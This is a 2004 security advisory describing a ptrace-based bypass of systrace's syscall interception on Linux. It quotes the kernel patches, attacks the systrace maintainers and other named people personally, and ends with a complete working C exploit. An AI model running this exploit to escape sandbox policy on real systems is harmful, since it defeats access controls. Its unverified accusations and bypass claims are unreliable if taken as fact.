systrace.txt

2004-04-07T00:00:00
ID PACKETSTORM:32967
Type packetstorm
Reporter Brad Spengler
Modified 2004-04-07T00:00:00

Description

                                        
                                            `systrace silently patches full local bypass vulnerability on Linux  
  
Introductory Note:  
  
I will not be replying to any posts in response to this mail, no   
matter how many times you intentionally misspell my name or   
attack me personally. Annoying me in an attempt to get me  
to release vulnerability details to you does not work.  
  
Executive Summary:  
  
Don't use systrace. This is only one of three exploitable bugs   
that have existed in systrace since its creation. One other   
bug is a local root and applies across all OSes systrace   
supports (including OpenBSD!), while the other is specific to   
Linux and allows a local bypass. Marius Eriksen has silently   
fixed this bug, and there is no doubt that he will try to fix   
the other two silently also. Hopefully this advisory will persuade   
Marius and Niels to not go that route, though I don't see   
either bug being fixed any time soon, as they are both design   
flaws and nearly impossible to catch through empirical testing.  
  
Vulnerability Detail:  
  
Let's look at the systrace v1.4 patch:  
  
--- linux-2.4.21/arch/i386/kernel/entry.S~systrace-1.4 2003-06-30   
02:15:04.000000000 -0400  
+++ linux-2.4.21-marius/arch/i386/kernel/entry.S 2003-06-30   
02:15:04.000000000 -0400  
@@ -207,8 +207,21 @@ ENTRY(system_call)  
jne tracesys  
cmpl $(NR_syscalls),%eax  
jae badsys  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax  
+ call SYMBOL_NAME(systrace_intercept)  
+ cmpl $0,%eax  
+ jl ret  
+ movl ORIG_EAX(%esp),%eax  
+#endif /* CONFIG_SYSTRACE */  
call *SYMBOL_NAME(sys_call_table)(,%eax,4)  
+ret:  
movl %eax,EAX(%esp) # save the return value  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax # pass in stack  
+ call SYMBOL_NAME(systrace_result)  
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side  
+#endif /* CONFIG_SYSTRACE */  
ENTRY(ret_from_sys_call)  
cli # need_resched and signals   
atomic test  
cmpl $0,need_resched(%ebx)  
  
  
What I want to direct your attention to is the first line of the   
patch, "jne tracesys", which for you OpenBSD developers of the   
world that don't understand assembly means that the system call   
entry point is redirecting execution flow to another place in the   
routine where the system call will be called if the current   
process is being ptrace'd with PTRACE_SYSCALL, which single   
steps through each system call in an application. When the  
system call is called at the different location, systrace will  
not have intercepted it.  
  
Let's look at the latest v1.5 patch for 2.4.24 (though a   
similar fix is present in the 2.6.3 patch also):  
  
diff -puN arch/i386/kernel/entry.S~systrace-1.5 arch/i386/kernel/entry.S  
--- linux-2.4.24/arch/i386/kernel/entry.S~systrace-1.5 2004-01-26   
00:35:49.000000000 -0500  
+++ linux-2.4.24-marius/arch/i386/kernel/entry.S 2004-01-26   
00:52:52.000000000 -0500  
@@ -207,8 +207,21 @@ ENTRY(system_call)  
jne tracesys  
cmpl $(NR_syscalls),%eax  
jae badsys  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax  
+ call SYMBOL_NAME(systrace_intercept)  
+ cmpl $0,%eax  
+ jl ret  
+ movl ORIG_EAX(%esp),%eax  
+#endif /* CONFIG_SYSTRACE */  
call *SYMBOL_NAME(sys_call_table)(,%eax,4)  
+ret:  
movl %eax,EAX(%esp) # save the return value  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax # pass in stack  
+ call SYMBOL_NAME(systrace_result)  
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side  
+#endif /* CONFIG_SYSTRACE */  
ENTRY(ret_from_sys_call)  
cli # need_resched and signals   
atomic test  
cmpl $0,need_resched(%ebx)  
@@ -243,8 +256,20 @@ tracesys:  
movl ORIG_EAX(%esp),%eax  
cmpl $(NR_syscalls),%eax  
jae tracesys_exit  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax  
+ call SYMBOL_NAME(systrace_intercept)  
+ cmpl $0,%eax  
+ jl tracesys_exit  
+ movl ORIG_EAX(%esp),%eax  
+#endif /* CONFIG_SYSTRACE */  
call *SYMBOL_NAME(sys_call_table)(,%eax,4)  
movl %eax,EAX(%esp) # save the return value  
+#ifdef CONFIG_SYSTRACE  
+ movl %esp,%eax # pass in stack  
+ call SYMBOL_NAME(systrace_result)  
+ movl EAX(%esp),%eax # XXX: ?to be on the safe side  
+#endif /* CONFIG_SYSTRACE */  
tracesys_exit:  
call SYMBOL_NAME(syscall_trace)  
jmp ret_from_sys_call  
  
  
As we can see here, there is a lot more code in entry.S. And   
for what reason? Let's look to the announcement on the mailing list:  
  
"which is for linux 2.4.24 and includes a few updates i made when forward   
porting systrace to linux 2.6.1. it also includes some updated system   
call definitions, including the xattr/acl related system calls."  
  
Supporting more syscalls doesn't mean that Marius had to modify   
entry.S. The internal systrace functions handle all that.   
This clearly was not simple port work either; there was a   
deliberate attempt to add the systrace hooks to the syscall   
tracing case.  
  
Note to those stinking up the security community cesspool:  
  
I'm sure rather than taking responsibility for this blatant   
attempt to hide an exploitable vulnerability that has been   
known in the blackhat community ever since systrace was   
released for Linux (almost two years now), Marius and Niels will   
instead try to attack my character, misspell my name, claim   
that I found the bug by diffing, or anything else that will   
take the attention off of this bug. In fact, I know of several  
others that have discovered this bug independently, who I hope   
will respond to this advisory and give weight to my claim if   
there is any doubt on the part of Niels and Marius. I apologize  
for the delay in this advisory, since when I have checked the   
systrace patch for updates, I would usually check for the local   
root hole, not this ptrace-related vulnerability.  
  
There seems to be some common sentiment in the community, and  
by community I mean people sitting in cubicles with the false   
belief that they understand security (eg. RedHat employees),   
that bugs don't exist until they're revealed to the public.   
There's the belief that someone who claims to have private   
exploits but chooses not to release them is in every case a   
liar, even though there is every reason to believe that person.   
There also seems to be the ridiculous notion among certain   
developers, and also by people who cannot code at all (eg.   
Joshua Brindle aka Method, leader of the Gentoo Hardened   
project) that they can treat exploit developers any way they   
want and expect to be treated fairly in return through prior   
disclosure of vulnerabilities. I'm not just speaking about   
myself here. The reaction against noir when he posted his   
OpenBSD local root is a prime example. The cost of freedom of   
speech is responsibility for that speech.  
  
There was recent doubt as to whether I had discovered a   
number of vulnerabilities in other security systems. Though it   
should seem obvious that someone developing a security system   
would look at other systems and find flaws in them quickly (and   
I would seriously doubt the ability of any "whitehat" who has   
not), some people obviously do not think so.  
  
There are protection bypass vulnerabilities in:  
LIDS  
DTE  
exec-shield (and no, it has nothing to do with paxtest)  
linsec  
systrace  
  
There were also recently several scathing comments made by   
Russell Coker, an employee of RedHat. Some background info on   
Russell: he's from Australia, he's not used to IRC, he can't   
name any blackhats off-hand, and somehow he's a (self-titled?)   
security expert and wants everyone to use SELinux. I had made   
the claim in a channel that the Debian SELinux test box was   
owned by stealth due to a configuration error. It turned out   
that stealth had not owned the Debian SELinux test box, and   
Russell Coker certainly made everyone aware of this. What he   
of course failed to mention (and that he was knowledgeable   
of, as I was CC'd on the mails) was that stealth did own an   
SELinux test machine some time back in Australia due to a   
configuration error. My mistake was believing that there was   
more than one user of SELinux in Australia. I should also note   
that that the SELinux test box challenge is a hoax. Russell   
seems to think not however:  
  
"I've been running SE Linux machines that anyone can try to crack as root   
since the middle of 2001."  
  
http://marc.theaimsgroup.com/?l=selinux&m=107943732100178&w=2  
  
"Is anyone offering root access to any machine running any security   
system other than SE Linux?"  
  
http://groups.google.com/groups?selm=20030607072005%2463c7%40gated-at.bofh.it&oe=UTF-8&output=gplain  
  
There's also an interesting omission here about how much Russell is   
relying on the "security" of SELinux for the test machine:  
  
"It was claimed that the machine was cracked some months ago, if so the attacker would have   
had to maintain their root-kit past upgrades of SE Linux policy, kernel, and OS   
packages."  
  
http://marc.theaimsgroup.com/?l=selinux&m=107925097605307&w=2  
  
What's that now? Kernel upgrades? OS packages? Upgrades of policy?  
  
It's also interesting how quickly they've forgot about this:  
  
http://marc.theaimsgroup.com/?l=selinux&m=105490085132101&w=2  
  
There is no reason why the box couldn't have been hacked when   
you realize that any of the recent local kernel exploits for   
Linux could have been used to own the box. Certainly someone   
could have used the exploits before they were released to the   
public to own the machine; I myself was in possession of one of   
the exploits weeks before it was released publicly. Russell   
also seems to think that real hackers would want to waste their   
private exploits on his useless test machine, clearly evidence   
of his complete lack of understanding of the blackhat   
community, the very people he claims to know how to protect   
himself (and you) from.  
  
Without much further ado, here's a simple exploit for the   
silently fixed systrace vulnerability. I apologize for its lack  
of multithreading.  
  
#include <stdio.h>  
#include <errno.h>  
#include <sys/ptrace.h>  
#include <sys/select.h>  
#include <sys/time.h>  
#include <sys/types.h>  
#include <unistd.h>  
  
int main(int argc, char *argv[])  
{  
int pid;  
int input[2];  
int output[2];  
int error[2];  
int ret;  
fd_set readfds;  
  
if (argc < 2) {  
printf("usage: ./systrace_exp <target> <arg1> <arg2> ... <argn>\n");  
exit(0);  
}  
  
ret = pipe(input);  
if (ret) {  
printf("Unable to create pipe\n");  
exit(1);  
}  
ret = pipe(output);  
if (ret) {  
printf("Unable to create pipe\n");  
exit(1);  
}  
ret = pipe(error);  
if (ret) {  
printf("Unable to create pipe\n");  
exit(1);  
}  
  
pid = fork();  
  
if (pid > 0) {  
char somechar;  
int highest;  
struct timeval time;  
  
time.tv_sec = 0;  
time.tv_usec = 1000;  
  
close(input[0]);  
close(output[1]);  
close(error[1]);  
  
FD_ZERO(&readfds);  
FD_SET(0, &readfds);  
FD_SET(output[0], &readfds);  
FD_SET(error[0], &readfds);  
while (1) {  
FD_SET(0, &readfds);  
FD_SET(output[0], &readfds);  
FD_SET(error[0], &readfds);  
time.tv_sec = 0;  
time.tv_usec = 1000;  
while ((select(error[0] + 1, &readfds, NULL, NULL, &time)) > 0) {  
if (FD_ISSET(0, &readfds)) {  
if (read(0, &somechar, 1) != 1)  
exit(0);  
write(input[1], &somechar, 1);  
}  
if (FD_ISSET(output[0], &readfds)) {  
if (read(output[0], &somechar, 1) != 1)  
exit(0);  
write(1, &somechar, 1);  
}  
if (FD_ISSET(error[0], &readfds)) {  
if (read(error[0], &somechar, 1) != 1)  
exit(0);  
write(2, &somechar, 1);  
}  
FD_SET(0, &readfds);  
FD_SET(output[0], &readfds);  
FD_SET(error[0], &readfds);  
time.tv_sec = 0;  
time.tv_usec = 1000;  
}  
  
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);  
if (errno == ESRCH)  
break;  
}  
} else if (pid == 0) {  
close(input[1]);  
close(output[0]);  
close(error[0]);  
close(0);  
dup(input[0]);  
close(1);  
dup(output[1]);  
close(2);  
dup(error[1]);  
ptrace(PTRACE_TRACEME, 0, NULL, NULL);  
if (argc == 2)  
execv(argv[1], NULL);  
else  
execv(argv[1], argv + 1);  
} else {  
fprintf(stderr, "Unable to fork.\n");  
exit(1);  
}  
  
return 0;  
}  
  
  
Be kind to others. Know your enemy. Thank you for your time.  
  
-Brad  
`